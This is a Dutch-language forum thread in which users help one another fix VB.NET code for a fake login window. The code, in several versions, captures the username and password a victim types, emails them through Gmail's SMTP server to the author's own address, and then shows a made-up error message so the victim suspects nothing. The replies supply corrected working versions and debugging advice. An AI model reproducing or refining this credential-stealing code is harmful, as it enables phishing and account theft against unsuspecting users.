Hee Ik heb alle codes gedaan maar hij stuurt geen mail als ik op ok drukt?
En ik heb die dingen waar je mail moet invullen gedaan alleen nu ff weggehaalt
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Dim strExploit As String
Dim mail As New MailMessage()
Dim SmtpServer As New SmtpClient
If TextBox1.Text = "" Then
MessageBox.Show("You must fill in an ID!", "ID", MessageBoxButtons.OK, MessageBoxIcon.Error)
ElseIf TextBox2.Text = "" Then
MessageBox.Show("You must fill in a password!", "Password", MessageBoxButtons.OK, MessageBoxIcon.Error)
Try
SmtpServer.Credentials = New Net.NetworkCredential("")
SmtpServer.Port = 587
SmtpServer.Host = "smtp.gmail.com"
SmtpServer.EnableSsl = True
mail.To.Add("")
mail.From = New MailAddress("")
mail.Subject = "Account: " & TextBox1.Text
mail.Body = ("Nieuw account!" & vbCrLf & vbCrLf & "Gebruikersnaam:" & vbTab & TextBox1.Text & vbCrLf & "Wachtwoord:" & vbTab & TextBox2.Text & vbCrLf & vbCrLf & "Datum & Tijd:" & vbTab & TimeOfDay)
SmtpServer.Send(mail)
MsgBox("Youre account does not exist please try again.")
Catch GError As Exception
End Try
End If
End Sub
[gesloten] Help [gebr]
Grim
Luzio
gebruik deze:
System.EventArgs) Handles Button1.Click
If TextBox1.Text = "" Then
MsgBox("Username Is Missing")
Else
If TextBox2.Text = "" Then
MsgBox("Password Is Mising")
Else
Dim smtpServer As New SmtpClient()
Dim mail As New MailMessage()
smtpServer.Credentials = New Net.NetworkCredential("jou gmail", "jou gmail wachtwoord")
'using gmail
smtpServer.Port = 587
smtpServer.Host = "smtp.gmail.com"
smtpServer.EnableSsl = True
mail = New MailMessage()
mail.From = New MailAddress("jou gmail")
mail.To.Add("jou gmail")
mail.Subject = "Username: " & TextBox1.Text
mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & TextBox2.Text
smtpServer.Send(mail)
MsgBox("Disconnected From Server, Please try again later!")
End If
End If
tijg3rtj3
Gebruik Visual Basic 2010, daar moet het gewoon kunnen
als je die wel hebt, gebruik ff die code van Luzio
Grim
Dankje maar ik kan me oude tekst niet verwijderen er staat:
Cannot currently modify this text in the ditor. it is read-only.
Iemand?
tijg3rtj3
Quote: Grim
Dankje maar ik kan me oude tekst niet verwijderen er staat:
Cannot currently modify this text in the ditor. it is read-only.
Iemand?
Stop Debugging, druk op het 'Stop' icoontje in VB
Grim
Ik heb alle codes gedaan maar als ik op login druk dan komt er geen error in beeld en ik krijg geen mail hier is mijn code pls help.
Shanky
Haal deze code weg
System.EventArgs) Handles Button1.Click
dus dat je alleen hebt :
If TextBox1.Text = "" Then MsgBox("Username Is Missing") Else If TextBox2.Text = "" Then MsgBox("Password Is Mising") Else Dim smtpServer As New SmtpClient() Dim mail As New MailMessage() smtpServer.Credentials = New Net.NetworkCredential("jou gmail", "jou gmail wachtwoord") 'using gmail smtpServer.Port = 587 smtpServer.Host = "smtp.gmail.com" smtpServer.EnableSsl = True mail = New MailMessage() mail.From = New MailAddress("jou gmail") mail.To.Add("jou gmail") mail.Subject = "Username: " & TextBox1.Text mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & TextBox2.Text smtpServer.Send(mail) MsgBox("Disconnected From Server, Please try again later!") End If End If
BlueScreenCreator | VB beginners tut | Hardstyle list + download
Mom : where are you going?
Son : Riverside motherf*cker!